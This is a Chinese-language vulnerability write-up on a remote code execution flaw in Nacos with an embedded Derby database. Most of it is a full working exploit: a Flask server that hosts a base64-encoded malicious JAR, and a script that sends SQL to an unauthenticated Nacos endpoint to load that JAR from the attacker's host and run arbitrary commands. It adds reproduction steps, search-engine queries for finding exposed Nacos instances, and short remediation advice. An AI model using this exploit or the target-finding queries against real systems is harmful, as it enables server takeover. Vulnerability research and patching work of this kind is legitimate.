漏洞介绍POC

1、需要naocs没有做鉴权，或者能登录后台获取凭证

2、需要使用的是derby数据库，如果是mysql就不行了

3、有大佬分析其exp是通过撞/tmp目录才能实现payload的上传，参考如下文章

https://mp.weixin.qq.com/s/AxczsjhcrM_a_qNVyT38GA

下面是github公开poc的地址以及上面文章中大佬，优化修复部分 poc bug的地址

https://github.com/ayoundzw/nacos-poc
https://github.com/FFR66/Nacos_Rce

• 「config.py」

server_host = '127.0.0.1'
server_port = 5000

• 「service.py」

import base64
from flask import Flask, send_file,Response
import config

payload = b'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'

app = Flask(__name__)


@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    response = Response(data, mimetype="application/octet-stream")
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
    return response

if __name__ == '__main__':
    app.run(host=config.server_host, port=config.server_port)

• 「exploit.py」

import random
import sys
import requests
from urllib.parse import urljoin
import config


# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break


if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target
    command = input('请输入命令，默认：calc：') or command
    exploit(target=target, command=command,service=service)

环境准备：下载nacos2.3.2或2.4.0版本，解压，使用 startup.cmd -m standalone 启动nacos 
补充POC信息 POC是一个python项目，依赖requests和flask，请先使用requiments.txt安装依赖 
1.配置config.py中的ip和端口，执行service.py，POC攻击需要启动一个jar包下载的地方，jar包里可以放任意代码，都可执行，我这里放了一个接收参数执行java命令的 
2.执行exploit.py，输入地址和命令即可执行。

环境搭建

这里我直接在本地虚拟机拉取docker镜像

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git clone https://github.com/nacos-group/nacos-docker.git cd nacos-docker docker-compose -f example/standalone-derby.yaml up

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注：可能拉去镜像时docker镜像源会拉取失败，这里手动设置镜像源

vim  /etc/docker/daemon.json 
写入如下镜像源地址：
{
    "registry-mirrors": [
        "https://dockerproxy.cn"
    ]
}
重启docker服务，再重新尝试拉去derby版的镜像
sudo systemctl restart docker

漏洞复现

接着直接下载poc至本地尝试复现（nacos环境搭建好后未做任何配置），修改config.py中的地址端口（开启pythonhttp服务）

然后运行service.py，开启http服务供exp请求获取payload，接着直接运行exploit.py，输入nacos地址利用即可

这个0day rce危害相对来说没那么大，不过也是多了一种能拿服务器权限的路子，基本上需要存在以前的nady（nacos 默认token、默认口令、鉴权绕过及未授权的sql）才能利用,所以此漏洞目前并没有yaml版的poc，不过在遇到其nday时可以尝试组合拳去利用。

资产测绘

• 「Fofa」

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app="nacos"

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• 「Hunter」

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app.name="nacos"

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• 「Quake」

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app="nacos"

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修复方案

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• 上文说到了，其漏洞的利用条件，那么相反修复方式很简单，只要让其不满足其一条件即可。
• 数据库使用mysql即可
• 开启nacos鉴权机制，修改默认token及用户名密码

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